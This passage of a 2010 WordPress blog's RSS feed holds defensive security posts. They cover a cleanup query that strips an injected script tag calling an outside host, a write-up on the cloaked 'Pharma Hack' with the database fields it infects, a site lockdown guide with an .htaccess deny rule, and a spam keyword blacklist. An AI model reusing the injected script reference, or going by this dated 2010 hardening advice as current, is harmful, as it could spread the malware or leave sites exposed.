UPDATE wp_posts SET post_content = replace(post_content, '&lt;script src="http://ie.eracou.com/3"&gt;&lt;/script&gt;', '');</code></pre>
<p>And remember to change the query prefix from <code>wp_</code> to your custom prefix.</p>
<hr />
<p><small>© 2010 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2010/07/media-temple-wordpress-hack/">Permalink</a> | <a href="http://digwp.com/2010/07/media-temple-wordpress-hack/#comments">65 comments</a> | Add to <a href="http://del.icio.us/post?url=http://digwp.com/2010/07/media-temple-wordpress-hack/&title=Media Temple WordPress Hack">del.icio.us</a> | Post tags: <a href="http://digwp.com/tag/database/" rel="tag">database</a>, <a href="http://digwp.com/tag/hack/" rel="tag">hack</a>, <a href="http://digwp.com/tag/mt/" rel="tag">mt</a><br/></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2010/07/media-temple-wordpress-hack/feed/</wfw:commentRss>
		<slash:comments>65</slash:comments>
		</item>
		<item>
		<title>WordPress Security Lockdown</title>
		<link>http://digwp.com/2010/07/wordpress-security-lockdown/</link>
		<comments>http://digwp.com/2010/07/wordpress-security-lockdown/#comments</comments>
		<pubDate>Mon, 12 Jul 2010 21:04:44 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[plugin]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=2413</guid>
		<description><![CDATA[This article is split into two parts for ez reference. First some information on the evil WordPress &#8220;Pharma Hack&#8221;, and then a recipe for protecting your site with a solid security lockdown. Choose your own adventure: Pharma Hacked Security Lockdown Pharmaceutical Apocalypse A few weeks ago, DigWP.com was hit with the so-called Pharma Hack. We [...]]]></description>
			<content:encoded><![CDATA[<p>This article is split into two parts for <abbr title="SO easy">ez</abbr> reference. First some information on the evil WordPress &ldquo;Pharma Hack&rdquo;, and then a recipe for protecting your site with a solid security lockdown. Choose your own adventure:</p>
<ul>
<li><a href="http://digwp.com/2010/07/wordpress-security-lockdown/#pharma-hack">Pharma Hacked</a></li>
<li><a href="http://digwp.com/2010/07/wordpress-security-lockdown/#security-lockdown">Security Lockdown</a></li>
</ul>
<p><span id="more-2413"></span></p>
<h3 id="pharma-hack">Pharmaceutical Apocalypse</h3>
<p>A few weeks ago, <a href="http://digwp.com/">DigWP.com</a> was hit with the so-called <a href="http://www.pearsonified.com/2010/04/wordpress-pharma-hack.php" title="How to Diagnose and Remove the WordPress Pharma Hack">Pharma Hack</a>. We discovered the hack after some Google results turned up all sorts of spammy pharmaceutical garbage littered throughout posts, links, and titles. The tricky part about the hack is that it injects the spam garbage only when your site&rsquo;s pages are requested by a <em>search bot</em> (e.g., googlebot). So when you view your pages in a <em>browser</em>, everything seems perfectly normal. Put simply, the hack is <strong>cloaked</strong>. We had no idea anything was wrong until about <em>two weeks</em> after the attack. During that time a majority of our search engine results were nuked with evil pharma spam. Ick.</p>
<p>Flash forward three weeks later and things are locked-down tight. The Pharma Hack has not returned, and most of the spam garbage in the search results has been filtered out and replaced with clean pages. At the time of the attack, DigWP was running WordPress 2.9/3.0 without any sort of <em>additional</em> site security. We were just using whatever &ldquo;default&rdquo; protection available from either WordPress or Media Temple. After detecting the hack, several days were spent cleaning it up and locking things down. At first, it seemed like an <em>impossible</em> hack to fix &ndash; nothing seemed to work. We ran through the following routine, hoping to fix it:</p>
<ul>
<li>Locate and remove hacked <code>404.php</code> file</li>
<li>Locate and remove hacked content from database</li>
<li>Replace entire set of salt keys</li>
<li>Upload new WordPress files</li>
<li>Restore previous versions of other files</li>
<li>Restore database to previous version</li>
</ul>
<p>These actions alleviate the symptoms, but they don&rsquo;t even touch the actual virus, which somehow regenerates the (base64) encoded spam script. As far as we know, the Pharma Hack works like this:</p>
<ol>
<li>Evil script gains access to your WordPress site</li>
<li>Encoded spam script injected into database</li>
<li>Script inserts spam garbage into pages requested by search bots</li>
<li>Script makes no changes to pages requested by browsers</li>
</ol>
<p>Within the database, the spam script is generated in any/all of these <code>option_name</code> fields:</p>
<ul id="encoded-gibberish">
<li><code>class_generic_support</code></li>
<li><code>widget_generic_support</code></li>
<li><code>wp_check_hash</code></li>
<li><code>ftp_credentials</code></li>
<li><code>rss_[string] e.g.,</code><br /><code>rss_7988287cd8f4f531c6b94fbdbc4e1caf</code></li>
</ul>
<p>If these fields are present and contain <a href="http://digwp.com/examples/PharmaHack/Pharma-Hack_2010-07-11.txt" title="encoded Pharma Hack script">super-long strings of encoded gibberish</a>, your site&rsquo;s infected. You can assess the damages by examining the search results for your site (note: other spam keywords may be used):</p>
<pre><code>site:digwp.com cipro OR meridia OR cialis</code></pre>
<p>If you&rsquo;re hit, hopefully you catch it <em>before</em> googlebot crawls along. But even if you have <em>thousands</em> of hacked pages appearing in the search index, it&rsquo;s not too late to clean things up and secure your site. Here is how we did it..</p>
<h3 id="security-lockdown">WordPress Security Lockdown</h3>
<p>This security strategy is best implemented on <em>new</em> sites. It just makes everything (like renaming table prefixes) <em>so</em> much easier. Either way, you want to start with a clean batch of files. Upload a fresh copy of WordPress, update your plugins, theme files, and so on. You may want to <a href="http://perishablepress.com/press/2010/05/19/htaccess-redirect-maintenance-page-site-updates/" title="htaccess Redirect to Maintenance Page">redirect visitors to a maintenance page</a> while you work on your site. That said, here is our five-step Security Lockdown for WordPress:</p>
<ol style="padding-bottom:15px;">
<li><a href="http://digwp.com/2010/07/wordpress-security-lockdown/#file-permissions">File Permissions</a></li>
<li><a href="http://digwp.com/2010/07/wordpress-security-lockdown/#file-protection">File Protection</a></li>
<li><a href="http://digwp.com/2010/07/wordpress-security-lockdown/#database-protection">Database Protection</a></li>
<li><a href="http://digwp.com/2010/07/wordpress-security-lockdown/#essential-plugins">Essential Plugins</a></li>
<li><a href="http://digwp.com/2010/07/wordpress-security-lockdown/#security-details">Important Details</a></li>
</ol>
<h4 id="file-permissions">[<a href="#security-lockdown" title="Jump to Menu">1</a>] File Permissions</h4>
<p>After uploading fresh files, the next step is to ensure proper file permissions. WordPress defaults to <code>644</code> for files and <code>755</code> permissions for folders. Make sure these are set properly. While cleaning up, we noticed some crazy permission settings for sensitive files. For example, <code>wp-config.php</code> was set to <code>777</code> &ndash; executable and writable by the entire world!! Make sure you don&rsquo;t see anything like that, and if you do, fix it.</p>
<h4 id="file-protection">[<a href="#security-lockdown" title="Jump to Menu">2</a>] File Protection</h4>
<p>In addition to setting proper file permissions, we can also lock down key files with <code>.htaccess</code>. There are numerous files to protect, perhaps most importantly the <code>wp-config.php</code> file, which contains your database login information. Place the following code in your site&rsquo;s root <code>.htaccess</code> file to protect it:</p>
<pre><code># SECURE WP-CONFIG.PHP
&lt;Files wp\-config\.php&gt;
 Order Deny,Allow
 Deny from all
&lt;/Files&gt;</code></pre>
<p>You may also want to <a href="http://perishablepress.com/press/2009/07/13/htaccess-password-protection-tricks/" title="HTAccess Password-Protection Tricks">password-protect</a> your <code>wp-admin</code> directory, but it may cause more trouble than it&rsquo;s worth.</p>
<h4 id="database-protection">[<a href="#security-lockdown" title="Jump to Menu">3</a>] Database Protection</h4>
<p>Changing the default table prefix is one of the <em>best</em> ways to protect your database. Malicious scripts need targets, and default targets are easy to hit. Change <code>wp_</code> to something more like a password. Some <a href="http://www.random.org/strings/" title="Random String Generator">random string</a> like &ldquo;<code>crUQZPadESeKSy8Q_</code>&rdquo; will make your tables difficult to hit. Like having a built-in password for your database&nbsp;:)</p>
<p>There are two ways to change your prefixes: the easy way and the hard way. The easy way is to add the following line to your <code>wp-config.php</code> file <em>before</em> installing WordPress (important: change the random string to something unique):</p>
<pre><code>$table_prefix  = 'crUQZPadESeKSy8Q_'; // custom table prefix</code></pre>
<p>Do that <em>before</em> running the install script and WordPress takes care of the prefix naming automagically when it creates the database. Going forward, there is no reason not to change default prefixes for all future WordPress installs. For existing sites, you can do it the hard way <a href="http://blogsecurity.net/wordpress/wp-prefix-changer-v11-released" title="WP Prefix Changer v1.1 released">using a plugin</a> or <a href="http://digwp.com/2010/10/change-database-prefix/" title="Change Your Database Prefix to Improve Security">doing it manually</a>.</p>
<h4 id="essential-plugins">[<a href="#security-lockdown" title="Jump to Menu">4</a>] Essential Plugins</h4>
<p>After exploring the vast crop of <a href="http://wordpress.org/extend/plugins/tags/security" title="WordPress<br />
Plugin Directory">WordPress security plugins</a>, we narrowed it down to four plugins that collectively do just about everything in the easiest way possible:</p>
<p><strong><a href="http://mattwalters.net/projects/wordpress-file-monitor/">WP File Monitor</a></strong></p>
<p>This plugin tracks changes made to your files. If/when anything changes, it notifies you via Admin Dashboard alert and/or email alert. So anytime a file is changed, moved, added, or removed, WP File Monitor lets you know. Here is a list of features:</p>
<ul>
<li>Monitors file system for added/deleted/changed files</li>
<li>Sends email when a change is detected</li>
<li>Multiple email formats for alerts</li>
<li>Administration area alert to notify you of changes in case email is not received</li>
<li>Ability to monitor files for changes based on file hash or timestamp</li>
<li>Ability to exclude directories from scan</li>
<li>Site URL included in notification email in case plugin is in use on multiple sites</li>
</ul>
<p>This is one of my favorite plugins. It&rsquo;s perfect for keeping an eye on things. If anyone gets in and messes around with your files, you&rsquo;ll know about it immediately, and even better, you&rsquo;ll know <em>exactly</em> which files have been affected.</p>
<p><strong><a href="http://wordpress.org/extend/plugins/wp-security-scan/">WP Security Scan</a></strong></p>
<p>This plugin scans your WordPress installation for security vulnerabilities and suggests corrective actions. The scan report informs you of any problems with file permissions, system variables, and much more:</p>
<ul>
<li>Passwords</li>
<li>File permissions</li>
<li>Database security</li>
<li>Version hiding</li>
<li>WordPress admin protection/security</li>
<li>Removes WP Generator META tag from core code</li>
</ul>
<p>WP Security Scan also provides a nice summary of server information and latest scan information. Performing a new scan is immediate with the click of a button. Very easy.</p>
<p><strong><a href="http://wordpress.org/extend/plugins/ultimate-security-check/">Ultimate Security Check</a></strong></p>
<p>This plugin provides even more security information, helping you to identify potential issues with your WordPress installation. It scans your site for &ldquo;hundreds of known threats,&rdquo; and then &ldquo;grades&rdquo; your level of site security. Here are some of the key things it checks:</p>
<ul>
<li>Checks for updates</li>
<li>Checks configuration file</li>
<li>Checks if config file is located in unsecured place</li>
<li>Checks presence of install script</li>
<li>Checks server configuration</li>
<li>Checks database</li>
<li>Checks code</li>
</ul>
<p>And quite a bit more. The best part about Ultimate Security Check is that it&rsquo;s so <em>easy</em> to use.</p>
<p><strong><a href="http://wordpress.org/extend/plugins/secure-wordpress/">Secure WordPress</a></strong></p>
<p>This plugin takes care of all those &ldquo;little&rdquo; things. Instead of installing a bunch of smaller plugins or <a href="http://digwp.com/2010/03/wordpress-functions-php-template-custom-functions/" title="WordPress functions.php Template with 15 Essential Custom Functions">custom functions</a> for this stuff, the Secure WordPress plugin does it all for you:</p>
<ol>
<li>Removes error-information on login-page</li>
<li>Adds index.php plugin-directory (virtual)</li>
<li>Removes the wp-version, except in admin-area</li>
<li>Removes Really Simple Discovery</li>
<li>Removes Windows Live Writer</li>
<li>Remove core update information for non-admins</li>
<li>Remove plugin-update information for non-admins</li>
<li>Remove theme-update information for non-admins (only WP 2.8 and higher)</li>
<li>Hide wp-version in backend-dashboard for non-admins</li>
<li><a href="http://perishablepress.com/press/2009/12/22/protect-wordpress-against-malicious-url-requests/" title="Protect WordPress Against Malicious URL Requests">Block Bad Queries</a></li>
</ol>
<p>Having all of this (and much more) done with a few clicks in the WordPress Admin is easy <em>and</em> effective.</p>
<h4 id="security-details">[<a href="#security-lockdown" title="Jump to Menu">5</a>] Important Details</h4>
<p>The previous four steps comprise the majority of our security lockdown, but there are some important details to consider:</p>
<ul>
<li>Keep your WordPress install, plugins, themes, and scripts updated with current versions</li>
<li>Use <strong>strong</strong> passwords and change them often</li>
<li>Disable user registration if not needed/used for your site</li>
<li>Check roles and permissions for all users</li>
<li>Clean up and consolidate old/loose files</li>
<li>Remove unused plugins and themes</li>
<li>Check permissions of <code>upload</code>, <code>upgrade</code>, and <code>backup</code> directories</li>
<li>Keep a backup of your site files</li>
<li>Keep your database optimized and backed up</li>
</ul>
<p>We did these things here at DigWP.com, but certain tips may not apply to every site. As a side note, despite our new security lockdown, I am still concerned/confused about how to handle the <code>upload</code>, <code>upgrade</code>, and <code>backup</code> directories. It seems dangerous to leave these folders set with <code>777</code> permissions, and for many shared hosts, that seems to be the required setting. I would be interested in hearing any ideas about securing these directories.</p>
<h3>Bottom Line</h3>
<p>There is no such thing as perfect security. If someone wants in bad enough, they&rsquo;re going to find a way, despite your best efforts at staying secure. Fortunately, most malicious scripts target the least common denominator, default WordPress installs. At the very least, ensure proper file permissions, secure <code>wp-config.php</code>, and use unique database prefixes. Together, these three steps will put your site out of reach for a vast majority of malicious scripts and other automated attacks. Of course, there are many other ways to <a href="http://digwp.com/2009/11/how-to-secure-your-new-wordpress-installation/" title="How to Secure Your New WordPress Installation">strengthen your site&rsquo;s security</a>, depending on how far you want to go with it. The lockdown strategy presented in this article provides strong security in the most efficient way possible, but there is always room for improvement, so share your ideas and help the community secure their WordPress.</p>
<hr />
<p><small>© 2010 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2010/07/wordpress-security-lockdown/">Permalink</a> | <a href="http://digwp.com/2010/07/wordpress-security-lockdown/#comments">44 comments</a> | Add to <a href="http://del.icio.us/post?url=http://digwp.com/2010/07/wordpress-security-lockdown/&title=WordPress Security Lockdown">del.icio.us</a> | Post tags: <a href="http://digwp.com/tag/database/" rel="tag">database</a>, <a href="http://digwp.com/tag/hacking/" rel="tag">hacking</a>, <a href="http://digwp.com/tag/plugin/" rel="tag">plugin</a><br/></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2010/07/wordpress-security-lockdown/feed/</wfw:commentRss>
		<slash:comments>44</slash:comments>
		</item>
		<item>
		<title>WordPress Defender: 30 Ways to Secure Your Website</title>
		<link>http://digwp.com/2010/02/wordpress-defender/</link>
		<comments>http://digwp.com/2010/02/wordpress-defender/#comments</comments>
		<pubDate>Sun, 28 Feb 2010 18:20:35 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Links]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=1439</guid>
		<description><![CDATA[Looking for a good book on WordPress security? If so, we&#8217;ve got great news! John Hoff&#8217;s new security e-book WordPress Defender provides 30 practical ways to secure your website from the evil forces of spam, bad bots, and malicious hackers. The book is packed with practical, common-sense security techniques that virtually any WordPress user can [...]]]></description>
			<content:encoded><![CDATA[<p>Looking for a good book on WordPress security? If so, we&rsquo;ve got great news! <a href="http://wpbloghost.com/" title="WP Blog Host">John Hoff</a>&rsquo;s new security e-book <a href="http://securemyblog.com/" title="WordPress Defender">WordPress Defender</a> provides 30 practical ways to secure your website from the evil forces of spam, bad bots, and malicious hackers. The book is packed with practical, common-sense security techniques that virtually <em>any</em> WordPress user can use to protect their site from malicious threats. </p>
<p>The book begins with some general information and then immediately gets into explaining everything you need to know. Throughout the book, John covers everything from backing up and upgrading to blocking bad queries and hiding sensitive information. Along the way, you will learn many tricks and techniques for securing your WordPress-powered site, including htaccess code, WordPress plugins, and much more.</p>
<p><span id="more-1439"></span></p>
<p>Here are some of the highlights of WordPress Defender:</p>
<ul>
<li>Essential best practices</li>
<li>Kick-ass security plugins</li>
<li>Creating tripwires with htaccess</li>
<li>How to hide sensitive information</li>
<li>How to setup and connect with <acronym title="Secure Sockets Layer">SSL</acronym></li>
</ul>
<p>..and of course much more. WordPress Defender is WordPress security for the masses. Seriously, I think that just about everyone using WordPress will benefit from this book. Plus, John&rsquo;s easy-going, laid-back writing style makes you feel right at home as he walks you through the many different ways of protecting your site. If you use WordPress and need to know more about how to protect your site against villains, you need to get <a href="http://securemyblog.com/" title="WordPress Defender">WordPress Defender</a>.</p>
<p>Special 50% discount on the e-book today through March 3rd!</p>
<hr />
<p><small>© 2010 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2010/02/wordpress-defender/">Permalink</a> | <a href="http://digwp.com/2010/02/wordpress-defender/#comments">3 comments</a> | Add to <a href="http://del.icio.us/post?url=http://digwp.com/2010/02/wordpress-defender/&title=WordPress Defender: 30 Ways to Secure Your Website">del.icio.us</a> | Post tags: <a href="http://digwp.com/tag/links/" rel="tag">Links</a>, <a href="http://digwp.com/tag/security/" rel="tag">Security</a><br/></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2010/02/wordpress-defender/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Stop Spammers and Other Scumbags with a Custom Blacklist</title>
		<link>http://digwp.com/2010/02/stop-spammers-custom-blacklist/</link>
		<comments>http://digwp.com/2010/02/stop-spammers-custom-blacklist/#comments</comments>
		<pubDate>Mon, 15 Feb 2010 09:15:07 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[blacklist]]></category>
		<category><![CDATA[comments]]></category>
		<category><![CDATA[spam]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=1394</guid>
		<description><![CDATA[I usually reserve most of my blacklisting content for Perishable Press, but after posting about using WordPress&#8217; built-in tools to stop comment spam, several DiW readers have asked about a good custom blacklist that may be used for the &#8220;Comment Moderation&#8221; and/or &#8220;Comment Blacklist&#8221; features in the WordPress &#8220;Discussion Settings&#8221; screen. Over the years, I [...]]]></description>
			<content:encoded><![CDATA[<p>I usually reserve most of my <a href="http://perishablepress.com/press/tag/blacklist/" title="Blacklist Archive at Perishable Press">blacklisting content</a> for <a href="http://perishablepress.com/" title="Perishable Press: Digital Design and Dialogue">Perishable Press</a>, but after posting about <a href="http://digwp.com/2009/11/dont-need-plugins-to-stop-comment-spam/" title="You Don’t Need Any Plugins to Stop Comment Spam">using WordPress&rsquo; built-in tools to stop comment spam</a>, several <acronym title="Digging into WordPress">DiW</acronym> readers have asked about a good <strong>custom blacklist</strong> that may be used for the &ldquo;Comment Moderation&rdquo; and/or &ldquo;Comment Blacklist&rdquo; features in the WordPress &ldquo;Discussion Settings&rdquo; screen. Over the years, I have <a href="http://perishablepress.com/press/2007/10/08/wordpress-spam-battle-3-seconds-that-will-save-you-hours-of-time/" title="WordPress Spam Battle: 3 Seconds that will Save You Hours of Time">built up</a> an extensive custom blacklist of terms that has proven quite effective at keeping spam and other garbage out of the comments section, even <a href="http://digwp.com/2009/11/dont-need-plugins-to-stop-comment-spam/" title="You Don’t Need Any Plugins to Stop Comment Spam">without using any anti-spam plugins</a> such as Akismet. It&rsquo;s strictly plug-n-play, and should help protect your site (and reputation) against all sorts of malicious nonsense. So without further ado.. </p>
<p><small>(Caution: the blacklist contains several instances of profanity in order to keep vile language out of your comments.)</small></p>
<p><span id="more-1394"></span></p>
<h3>Custom WordPress Comment Moderation Blacklist</h3>
<p>The idea is simple: copy and paste this custom blacklist into the Comment Moderation field in your WordPress Admin area, which will look something like this:</p>
<p><img src="http://digwp.com/wp-content/blog-images/custom-blacklist.gif" alt="[ The 'Comment Moderation' field in the WordPress 'Discussion Settings' Area ]" /><br /><small>The &lsquo;Comment Moderation&rsquo; field in the WordPress &lsquo;Discussion Settings&rsquo; Area</small></p>
<p>Here is the list, in all of its offensive pharmaceutical, gambling, sex-industry glory (see notes afterward for more information on usage and functionality):</p>
<pre><code>Ð´
Ð¸
Ð¶
Ð§
Ð‘
. ,
? ,
[url=
[/url]
thx
sex
byob
nude
loan
debt
poze
bdsm
soma
visa
hotel
paxil
anime
naked
poker
coolhu
cialis
incest
casino
dating
payday
rental
ambien
holdem
cialis
adipex
booker
youtube
myspace
advicer
flowers
finance
freenet
-online
shemale
meridia
cumshot
trading
adderall
gambling
roulette
top-site
mortgage
pharmacy
dutyfree
ownsthis
duty-free
insurance
ringtones
insurance
blackjack
hair-loss
bllogspot
baccarrat
thorcarlson
jrcreations
credit card
macinstruct
hydrocodone
leading-site
slot-machine
carisoprodol
ottawavalleyag
cyclobenzaprine
discreetordering
aceteminophen
augmentation
enhancement
phentermine
doxycycline
citalopram
cephalaxin
vicoprofen
lorazepam
oxycontin
oxycodone
percocet
propecia
tramadol
propecia
percocet
cymbalta
lunestra
fioricet
lesbian
lexapro
valtrex
titties
xenical
meridia
levitra
vicodin
ephedra
lipitor
breast
cyclen
viagra
valium
hqtube
ultram
clomid
cyclen
vioxx
zolus
pussy
porno
xanax
bitch
penis
pills
male
porn
dick
cock
tits
fuck
shit
gay
ass
gdf
gds</code></pre>
<p>As mentioned, to use this list, just copy/paste into your Comment Moderation field and you&rsquo;re done. Along the way, you may find that additional terms are needed, or that certain terms need removed. Feel free to tweak according to the specific needs of your site. It&rsquo;s all good&nbsp;:)</p>
<p>A couple of notes about this blacklist: </p>
<ul>
<li>The first five or so characters are effective at blocking 99% of nonsensical Russian spam.</li>
<li>The period/comma entries block a recent rash of spam that included these particular strings.</li>
<li>Most of the terms are highly specific to spam comments and should keep false positives at a minimum.</li>
<li>Even so, it is recommended that this custom blacklist be used as a &ldquo;Comment Moderation&rdquo; list and not as a &ldquo;Comment Blacklist&rdquo; in order to retain your ability to screen for false positives.</li>
<li>Additional terms are easily added by appending the list with the character string on its own line.</li>
<li>It would be great to build this blacklist up a little further. If you have your own distinct collection of terms, let me know and I will add them to the list.</li>
</ul>
<p>Any questions/comments/concerns welcome in the comments area.</p>
<hr />
<p><small>© 2010 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2010/02/stop-spammers-custom-blacklist/">Permalink</a> | <a href="http://digwp.com/2010/02/stop-spammers-custom-blacklist/#comments">14 comments</a> | Add to <a href="http://del.icio.us/post?url=http://digwp.com/2010/02/stop-spammers-custom-blacklist/&title=Stop Spammers and Other Scumbags with a Custom Blacklist">del.icio.us</a> | Post tags: <a href="http://digwp.com/tag/blacklist/" rel="tag">blacklist</a>, <a href="http://digwp.com/tag/comments/" rel="tag">comments</a>, <a href="http://digwp.com/tag/security/" rel="tag">Security</a>, <a href="http://digwp.com/tag/spam/" rel="tag">spam</a><br/></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2010/02/stop-spammers-custom-blacklist/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
	</channel>
</rss>

